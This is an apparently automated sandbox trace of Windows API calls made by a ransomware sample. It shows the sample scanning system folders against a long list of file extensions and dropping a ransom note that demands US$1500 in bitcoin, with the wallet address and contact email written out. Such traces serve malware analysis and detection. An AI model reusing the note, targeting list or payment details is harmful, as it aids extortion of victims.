lstrlenA (lpString="*.pfx") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0111.096] lstrlenA (lpString="*.pem") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0111.096] lstrlenA (lpString="*.p12") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.096] lstrlenA (lpString="*.gpg") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.096] lstrlenA (lpString="*.vsd") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0111.097] lstrlenA (lpString="*.odg") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0111.097] lstrlenA (lpString="*.raw") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0111.097] lstrlenA (lpString="*.nef") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0111.097] lstrlenA (lpString="*.svg") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0111.097] lstrlenA (lpString="*.psd") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.097] lstrlenA (lpString="*.vmx") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.097] lstrlenA (lpString="*.vmdk") returned 6 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.097] lstrlenA (lpString="*.vdi") returned 5 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.097] lstrlenA (lpString="*.lay6") returned 6 [0111.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.097] lstrlenA (lpString="*.mpeg") returned 6 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.098] lstrlenA (lpString="*.djvu") returned 6 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.098] lstrlenA (lpString="*.tiff") returned 6 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0111.098] lstrlenA (lpString="*.backup") returned 8 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.098] lstrlenA (lpString="*.pdf") returned 5 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0111.098] lstrlenA (lpString="*.cert") returned 6 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0111.098] lstrlenA (lpString="*.docm") returned 6 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.098] lstrlenA (lpString="*.xlsm") returned 6 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.098] lstrlenA (lpString="*.dwg") returned 5 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0111.098] lstrlenA (lpString="*.nd") returned 4 [0111.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.099] lstrlenA (lpString="*.tlg") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.099] lstrlenA (lpString="*.lgb") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0111.099] lstrlenA (lpString="*.mov") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.099] lstrlenA (lpString="*.xdw") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0111.099] lstrlenA (lpString="*.ods") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0111.099] lstrlenA (lpString="*.wav") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.099] lstrlenA (lpString="*.mp3") returned 5 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.099] lstrlenA (lpString="*.aiff") returned 6 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0111.099] lstrlenA (lpString="*.flac") returned 6 [0111.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.099] lstrlenA (lpString="*.m4a") returned 5 [0111.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0111.100] lstrlenA (lpString="*.csv") returned 5 [0111.100] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73def280, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x73def280, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73def280, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xbcc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.100] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.100] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7202df80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7202df80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7202df80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bbe7b2d338397b14dbab217c610b0629", cAlternateFileName="BBE7B2~1")) returned 1 [0111.100] lstrcmpA (lpString1=".", lpString2="bbe7b2d338397b14dbab217c610b0629") returned -1 [0111.101] lstrcmpA (lpString1="..", lpString2="bbe7b2d338397b14dbab217c610b0629") returned -1 [0111.101] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.101] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="bbe7b2d338397b14dbab217c610b0629" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629" [0111.101] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629") returned 100 [0111.101] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7202df80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7202df80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7202df80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.128] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.128] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7202df80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7202df80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7202df80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.129] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.129] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.129] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72007e20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72007e20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72007e20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.129] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.129] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned -1 [0111.129] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned -1 [0111.129] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned -1 [0111.129] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\*.*") returned="*.*" [0111.129] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\" [0111.129] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\") returned="" [0111.129] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\HOW TO DECRYPT FILES.txt" [0111.129] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\bbe7b2d338397b14dbab217c610b0629\\how to decrypt files.txt")) returned 0xffffffff [0111.129] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\bbe7b2d338397b14dbab217c610b0629\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.134] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.134] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.136] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.136] CloseHandle (hObject=0x90) returned 1 [0111.136] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll" [0111.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0111.136] lstrlenA (lpString="*.ems") returned 5 [0111.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0111.136] lstrlenA (lpString="*.db") returned 4 [0111.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.136] lstrlenA (lpString="*.dbf") returned 5 [0111.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0111.136] lstrlenA (lpString="*.myox") returned 6 [0111.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0111.136] lstrlenA (lpString="*.myo") returned 5 [0111.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.137] lstrlenA (lpString="*.qbw") returned 5 [0111.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.137] lstrlenA (lpString="*.qbb") returned 5 [0111.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.137] lstrlenA (lpString="*.qbm") returned 5 [0111.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.137] lstrlenA (lpString="*.qbo") returned 5 [0111.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.137] lstrlenA (lpString="*.qbx") returned 5 [0111.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0111.137] lstrlenA (lpString="*.qba") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0111.138] lstrlenA (lpString="*.qby") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.138] lstrlenA (lpString="*.qbj") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.138] lstrlenA (lpString="*.ofx") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0111.138] lstrlenA (lpString="*.qif") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0111.138] lstrlenA (lpString="*.mye") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.138] lstrlenA (lpString="*.mbox") returned 6 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.138] lstrlenA (lpString="*.eml") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0111.138] lstrlenA (lpString="*.pst") returned 5 [0111.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0111.139] lstrlenA (lpString="*.ost") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0111.139] lstrlenA (lpString="*.idx") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.139] lstrlenA (lpString="*.dbx") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0111.139] lstrlenA (lpString="*.sql") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.139] lstrlenA (lpString="*.mdb") returned 5 [0111.139] 